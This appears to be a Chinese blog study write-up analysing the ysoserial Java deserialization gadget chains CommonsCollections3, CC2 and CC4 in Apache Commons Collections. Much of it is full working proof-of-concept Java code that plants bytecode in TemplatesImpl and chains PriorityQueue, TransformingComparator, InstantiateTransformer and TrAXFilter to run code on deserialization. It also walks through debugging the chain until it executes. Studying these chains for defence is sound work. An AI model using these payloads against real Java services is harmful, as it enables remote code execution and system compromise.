ysoserial的代码,会发现CommonsCollections3和上述代码并不同,没有使⽤到InvokerTransformer。原因是因为:2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安 全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在SerialKiller中就有过滤InvokerTransformer。针对此情况ysoserial的CC3变换InvokerTransformerInstantiateTransformer同时使用了TrAXFilter

整理一下这后半段的思路:

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
} if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

现在我们需寻找哪个类的方法调用了newTransformer()Find Usages一下发现在TrAXFilter类的构造方法直接可以调用TemplatesImplnewTransformer()

public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _useServicesMechanism = true; public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

但是我们可以注意到TrAXFilter这个类是不能进行序列化的,但是它的类是可以序列化的,同时我们可以在commons-collections中找到这样一个类:InstantiateTransformer,它的transform方法可以实例化一个类

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

所以我们整体的思路就出来了

ysoserial整体思路:

--ObjectInputStream.readObject()
--AnnotationInvocationHandler.readObject()
--Map(Proxy).entrySet()
--AnnotationInvocationHandler.invoke()
--LazyMap.get()
--ChainedTransformer.transform()
--ConstantTransformer.transform()
--InstantiateTransformer.transform()
--TrAXFilter(Templates templates)
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map; public class CC32 {
public static void main(String[] args) throws Exception{
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl, "_name", "name");
setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
InstantiateTransformer.getInstance(new Class[]{Templates.class}, new TemplatesImpl[]{templatesImpl}), };
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy); //serialize(o);
unerialize("CC32.ser");
}

运行结果:

Commons-Collections的变动

背景:

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?

内部包的改动:

前后变化的比较大,俩个版本的库是能够共存的,放在pom.xml中比较一下

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

用之前的 CommonsCollections6 利用链做个例子,然后将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

PriorityQueue利用链

ysoserial 还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2CommonsCollections4

commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。transform后面的部分就是我们熟悉的命令执行或代码执行。

CC2

利用链分析:

在 CC2 中,用到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue

优先队列(Priority Queue):java中基于二叉推实现。正常进队,按照优先级出的队列,优先级由comparator来决定。

java.util.PriorityQueue 类重写了 readObject()方法:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject(); // Read in (and discard) array length
s.readInt(); queue = new Object[size]; // Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

org.apache.commons.collections4.comparators.TransformingComparator 中的compare调用 transform() 方法的函数:

public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject() 中调用了 heapify() 方法, heapify() 中调用了 siftDown()siftDown() 中调用 siftDownUsingComparator()siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator 了:

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

总结下来就是:

当优先队列(Priority Queue)反序列化的时候调用heapify()方法恢复二叉推的结构,将数组里面的元素按优先级排列。排列的时候会涉及到优先级的比较,这个时候就会调用对应的compare()方法

  • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。
  • 反序列化时调用 heapify() 方法,是为了反序列化后,需要恢复这个结构的顺序。
  • 排序是靠将大的元素下移实现的。siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较两个元素大小。
  • TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

CC2这一条利用的是:InvokerTransformer无数组的代码执行。

整体思路:

--PriorityQueue.readObject()
--PriorityQueue.heapify()
--PriorityQueue.siftDown()
--PriorityQueue.siftDownUsingComparator()
--TransformingComparator.compare()
--InvokerTransformer.transform()
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()

完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue; public class CC2 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templatesImpl);
priorityQueue.add(1); Class clazz = TransformingComparator.class;
Field transformer = clazz.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer); //serialize(priorityQueue);
unserialize("CC2.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC2.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful Unserialize");
}
}

CC4

版本限制:

jdk版本:jdk7,8没有限制

commons-collections:

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

背景:

在CC2的利用背景下,改进 PriorityQueue 利用链:因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。

利用链分析:

首先需要明白:如果要getshell:1.命令执行,2.代码执行。CC4的链虽说是引入了新的commons-collections包,但是整体的思路还是没有发生变化,后半部分可以使用命令执行(Runtime类)或者代码执行(Templatelmpl调用链)。在ysoserial中使用的是无InvokerTransformer的代码执行。我按照ysoserial的利用链模式来分析。

byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

所以直接对transform方法开始FindUsagesTransformingComparatorcompare()方法可以调用chainedTransformertransform()

public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

compare方法进行FindUsages可以找到PriorityQueue类的readObject()方法里调用heapify()heapify()方法里调用了siftDown()siftDown()方法里调用了siftDownUsingComparator(k, x),其又可以调用TransformingComparator类的compare方法

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

所以整条利用链就可以这样写:

import com.sun.net.httpserver.Authenticator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue; public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); serialize(priorityQueue);
unserialize("CC4.ser");
}

结果就是序列化和反序列化都没有弹出计算器。我们debug一下找错误,既然反序列化是从readObject()开始,我们就从PriorityQueuereadObjct()开始打断点,问题出现在了:

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

我们需要进行priorityQueue.add(1)俩次才可以解决问题,(因为这里涉及到数据结构,但我没有学过,所以这里做个标记)。所以整理后的利用链如下:

public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1);
priorityQueue.add(2); //serialize(priorityQueue);
unserialize("CC4.ser");
}

结果我们发现序列化和反序列化都可以弹出计算器,跟进priorityQueue.add()发现其最终会调用transform()方法,和前面的CC6一样,我们首先需要将其断开,再add()以后利用反射重新将其连接即可。

利用链思路:


完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue; public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1);
priorityQueue.add(2); Class clazz = ChainedTransformer.class;
Field iTransformers = clazz.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers); //serialize(priorityQueue);
unserialize("CC4.ser");
}

运行结果:

参考链接

Ysoserial 利用链分析

Java 反序列化漏洞系列-2

ysoserial源代码

最新文章

  1. Code First数据库迁移
  2. UVALive 4997 ABCD Tiles --DFS
  3. [silverlight—wcf]参数:调试资源字符串不可用,秘钥和参数通常提供足够的信息用以诊断问题。
  4. 后台框架--HUI 的学习跟使用1
  5. 即使连网了ping也会失败
  6. 配置php5.6的运行环境
  7. 转: ant condition使用
  8. setTimeout中所执行函数中的this,永远指向window
  9. DOM 节点实例操作
  10. VS2015/Visual Studio快捷键无效问题
  11. 撒花!中文翻译仓库链接已加入 ML.NET 官方示例网站首页
  12. jquery-网站收藏
  13. spring cloud: 使用consul来替换eureka
  14. 3.STM32F4按键扫描函数
  15. 利用ngx_python模块嵌入到Python脚本
  16. 20155301 Exp7 网络欺诈防范
  17. wpa2破解代码思路(教你写poc)
  18. 转载乙醇大师的appium简明教程
  19. 算法 quick sort
  20. UVA.12096 The SetStack Computer ( 好题 栈 STL混合应用)

热门文章

  1. 【大数据面试】Flink 04:状态编程与容错机制、Table API、SQL、Flink CEP
  2. 100IT 名企 java 面试必考面试题
  3. 【算法总结】【队列均LinkedList】栈和队列、双端队列的使用及案例
  4. Kubernetes单机创建MySQL+Tomcat演示程序:《Kubernetes权威指南》第一章demo报错踩坑
  5. ORM常用字段与参数(自定义字段)
  6. 时隔3个月,Uber 再遭数据泄露...
  7. week_2
  8. 使用腾讯云部署war包
  9. Hadoop详解(04-1) - 基于hadoop3.1.3配置Windows10本地开发运行环境
  10. Html飞机大战(十八): 模块化+项目开源